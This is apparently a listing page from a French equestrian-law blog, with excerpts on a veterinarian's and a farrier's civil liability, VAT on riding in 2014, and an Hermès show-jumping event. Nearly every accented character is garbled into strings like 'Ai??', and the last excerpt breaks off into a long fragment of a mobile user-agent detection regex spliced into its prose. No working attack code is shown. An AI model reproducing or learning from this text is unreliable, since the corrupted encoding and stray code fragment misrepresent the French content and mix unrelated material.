La responsabilitAi?? du vAi??tAi??rinaire Ai??quin lors des actes de soins ai??i?? Cour dai??i??appel de ChambAi??ry, 6 juin 2006

Les vAi??tAi??rinaires exerAi??ant la mAi??decine des animaux, leur responsabilitAi?? civile dans les soins aux animaux est trA?s proche de la responsabilitAi?? mAi??dicale. Les obligations de soins du vAi??tAi??rinaire sai??i??inscrivent dans une relation contractuelle comme celles des mAi??decins et autres professions de santAi??. Dans le cadre de ce contrat le vAi??tAi??rinaire sai??i??engage Ai?? prodiguer Ai?? son […]

TVA et Equitation ai??i?? Focus sur lai??i??actualitAi?? fiscale du dAi??but de l’annAi??e 2014

Si lai??i??on en croit le dernier communiquAi?? de la FAi??dAi??ration France dai??i??Equitation et du Groupement Hippique National en date du 24 janvier 2014 intitulAi?? « Sortie de crise », les esprits semblent sai??i??A?tre quelque peu apaisAi??s et la volontAi?? de mettre en place, conjointement avec le Gouvernement, « une vAi??ritable politique europAi??enne du cheval » apparaAi??t A?tre dAi??sormais la […]

Attention, mon cheval Ai?? tire au renard Ai?? ! ai??i?? ResponsabilitAi?? du marAi??chal ferrant : TGI Moulins, 3 mai 2011

Dans cette espA?ce, un marAi??chal ferrant est intervenu pour ferrer, pour la premiA?re fois, une jeune pouliche pur-sang devant participer quelques semaines plus tard aux ventes Ai??Ai??ArquanaAi??Ai??. Malheureusement, alors que ce dernier avait attachAi?? la pouliche dans les Ai??curies, il alluma sa meuleuse Ai??lectrique, ce qui effraya la pouliche. En prenant peur, celle-ci tira au […]

16 mars 2014 : Le Cheval et la Robe au Saut HermA?s

Le Cheval et la Robe, passionnAi?? des grands rendez-vous sportifs, Ai??tait au Grand Prix HermA?s. Cette rubrique permettra, de suivre l’actualitAi?? Ai??vAi??nementielle du Cheval et la Robe ; elle sera aussi un « prAi??texte » pourAi??exposer les problAi??matiques juridiques liAi??es Ai?? l’organisation de compAi??titions ou d’autres Ai??vAi??nements Ai??questres. |fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v […]